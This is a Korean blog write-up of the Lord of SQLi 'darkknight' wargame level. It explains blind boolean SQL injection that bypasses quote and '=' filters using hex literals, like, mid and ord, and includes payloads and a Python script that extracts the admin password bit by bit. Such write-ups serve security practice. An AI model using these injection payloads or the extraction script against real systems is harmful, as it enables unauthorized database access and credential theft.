🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

183

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/Wargame

[Lord of SQLi] darkknight Writeup/문제풀이

알 수 없는 사용자 2021. 9. 3. 00:46
728x90
반응형

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");

no 파라미터에 대한 필터링으로는 [prob, _, ., (, ), ', substr, ascii, =] 가 있다고 합니다.

pw 파라미터에 대한 필터링으로는 '(작은따옴표/single quote) 하나만 있습니다.

no 와 pw 파라미터의 공통점으로는 둘 모두 작은따옴표를 금지하고 있는 걸 볼 수 있습니다.

$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

쿼리문의 결과로 id 가 존재할 경우, 즉 참일 경우 Hello 로 시작되는 문자열이 화면에 출력된다고 합니다.

그리고 위 코드 바로 아래에는 addslashes($_GET[pw]) 가 있는 것으로 보아 위의 sql injection에 취약한 코드를 이용해서 admin의 비밀번호를 획득해야하는 것으로 보입니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

만약 pw 값이 admin 의 비밀번호라면 drakknight 문제가 풀린다고 합니다.

 

이전에 풀었던 orc, orge, golem 과 비슷한 문제라고 볼 수 있는 것 같습니다. 다만 필터링이 조금 더 강화된 것 같네요.

이 문제에서는 single quote(작은따옴표) 필터링을 우회할 수 있는지 질문하고 있는 것 같습니다.

 

결론만 말씀드리자면 where 절에서 like 를 이용해서 본 문제를 해결할 수 있습니다.

 

우선 admin 의 pw의 길이부터 구해보고 나서 실제 admin 이 가지는 pw 를 알아내보겠습니다.

아래 query문은 두 가지 방법으로 아이디 admin 이 가지는 pw 의 길이를 알아내보았습니다.

 

첫번째 줄의 query문에서는 admin 이라는 문자열을 16진수 아스키코드값으로 변환하여 표현해보았고 length(pw)>7로 하여 =(부등호) 필터링이 된 것을 >(꺽쇠) 기호를 사용하여 비밀번호의 길이를 확인해보았습니다.

두번째 줄의 query문에서는 작은따옴표가 필터링 되었으니 큰따옴표를 사용해서 admin을 잡아줬고, =(부등호) 펄터링을 like 문으로 우회해주었습니다. 사실 이 외에도 다양한 방법이 있으나 각자 더 연구해보면 좋을 것 같습니다.

select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like 0x61646D696E && length(pw)>7;
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and length(pw) like 8;

 

위와 같은 query문을 사용해서 pw 의 길이를 구해주었다면 이젠 pw의 길이만큼 반복해서 실제 pw의 문자열을 알아내기만 하면 되겠습니다. query문은 아래와 같이 substr 함수를 대체한 mid 함수, ascii 함수를 대체한 ord 함수, =(부등호)를 대체한 like 를 중점으로 보시면 될 것 같습니다.

select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and ord(mid(pw,1,1)) like 48

만약 위 query문 대로 하고서 Hello admin 이 나왔다면 admin 의 pw의 첫번째 문자는 0 이 될 것입니다. 아스키코드 10진수로 48은 0 문자입니다. 아스키코드 관련해서는 아래 링크에서 참고하시면 되겠습니다.

https://domdom.tistory.com/66?category=971323 

 

ASCII Table - 아스키 코드표

 

domdom.tistory.com

대충 아스키코드 값 48 부터 57, 다시 65 부터 90까지 돌려보면 되겠죠? 뭐 귀찮으면 48부터 90까지 쭉 돌리셔도 됩니다. 하지만 그만큼 속도가 오래 걸릴 겁니다. pw 의 길이가 8 이고 48부터 90까지 돌려야 하면 족히 300번 이상은 비교해야지 비밀번호를 알아낼 수 있을 겁니다. 이 속도 문제를 해결하기 위해서 bit 연산자를 활용한다고 했었습니다.

자세한 설명은 이전 orc 문제의 풀이글을 참고해주세요. 

https://domdom.tistory.com/63?category=981717 

 

[Lord of SQLi] orc Writeup/문제 풀이

$_GET[pw] PHP 소스코드 상으로는 pw를 GET parameter 방식으로 받는다고 합니다. if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 그리고 pw에 prob 라는 단어가 포함되어 있거나, _(언더..

domdom.tistory.com

사실 query문을 보시면 바로 이해가실겁니다.

select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&128 like 128,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&64 like 64,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&32 like 32,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&16 like 16,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&8 like 8,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&4 like 4,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&2 like 2,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&1 like 1,1,0);

위 query문을 보시면 총 8번 비교했을 때 admin 의 pw 의 첫번째 문자를 알 수 있습니다. 128 은 1바이트를 의미합니다. 이전에도 말씀드렸지만 아스키코드는 1바이트 이내로 이루어져있습니다. 1바이트는 다시 8비트로 이루어져있죠. 그렇기 때문에 최대 8번만 비교해보면 비밀번호의 아스키코드 값을 알아낼 수 있는 겁니다.

 

위 query문이 참(True)일 경우는 bit 가 32일 때와 16일 때입니다. 그리고 두 값을 합하면 48이 됩니다. 그 말은 즉, admin 의 pw 의 첫번째 문자열이 숫자 0 이라는 의미와 동일합니다.

 

무튼 위의 query문을 이제 pw의 길이 8 만큼 다시 시도 해보면 문제는 풀리겠습니다. 저는 손으로 하지 않고 python 코드로 작성해보았습니다.

import requests

def SQLI():
	url = "https://los.rubiya.kr/chall/darkknight_1.php?"

	headers = {		
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
	}
	cookies = {
		'PHPSESSID':'세션값',
	}
	length = 8
	result = ""	
	prefix = "pw=123&"

	# pw 구하기
	for i in range(1, length+1):

		byte = 0
		bit = pow(2, 7)
		while bit >= 1:

			param = "no=1 or id like \"admin\" and if(ord(mid(pw,{0},1))&{1} like {2},1,0)".format(i, bit, bit)
			param = param.replace(" ","%20").replace("&","%26")
			res = requests.get(url+prefix+param, headers=headers, cookies=cookies)
			if(res.text.find('<h2>Hello admin</h2>') != -1):
				byte += bit

			bit //=2

		if(byte == 0):
			break

		result += chr(byte)
	print("[+] Result:", result)

if __name__ == '__main__':
	SQLI()

그리고 나온 결과를 pw 파라미터에 입력하고 URL을 요청하면 문제는 아래와 같이 해결되는 것을 볼 수 있습니다.

 

- 끝 -

728x90
반응형
댓글